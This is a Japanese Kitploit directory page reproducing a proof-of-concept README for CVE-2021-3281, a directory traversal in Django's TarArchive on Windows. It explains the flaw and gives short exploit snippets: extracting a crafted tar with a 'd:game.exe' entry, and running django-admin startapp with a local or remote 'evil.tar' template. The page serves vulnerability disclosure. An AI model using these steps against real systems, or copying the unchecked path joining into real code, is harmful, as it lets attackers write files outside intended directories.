Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3281 — CVE-2021-3281の概念実証: DjangoのTarArchiveユーティリティにおけるディレクトリトラバーサル脆弱性(細工されたtarファイルを介したもの)、Python tarfileモジュールを使用したデモ。 | Kitploit
ツール/GitHubGitHub/lwzsoviet/cve-2021-3281
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHublwzsoviet/cve-2021-3281

CVE-2021-3281

CVE-2021-3281の概念実証: DjangoのTarArchiveユーティリティにおけるディレクトリトラバーサル脆弱性(細工されたtarファイルを介したもの)、Python tarfileモジュールを使用したデモ。

リポジトリを見る
215年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3281

django.utils.archive.pyのlineno:171、Class TarArchiveにディレクトリトラバーサルの脆弱性があります。

関数呼び出しos.path.join(to_path, name)はパラメータ"name"をチェックしていません。もし誰かがWindowsプラットフォームでこのユーティリティを使用すると、ディレクトリトラバーサルのリスクがあります。POCは以下です:

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')

test.tarには"d:game.exe"という名前のファイルが含まれており、POCはD://game.exeに"game.exe"という名前のファイルを作成します("."ではなく)。Djangoコアはこのユーティリティを使用していないようですが、それでもリスクだと思います。誰かがウェブアプリでこのユーティリティを使用して何かをアーカイブするかもしれません。

そして別のシナリオがあります:"djangoadmin startapp --template" コマンドはarchive.pyを使用します。https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp を参照してください。POCは以下です:

root@kitploit:~
django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"

POC

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')

Python/Lib/tarfile.pyにも同じ問題があります:

root@kitploit:~
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()

そしてドキュメントは警告を出しています。https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall を参照してください。

Link

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281

https://www.djangoproject.com/weblog/2021/feb/01/security-releases/

ツールをダウンロード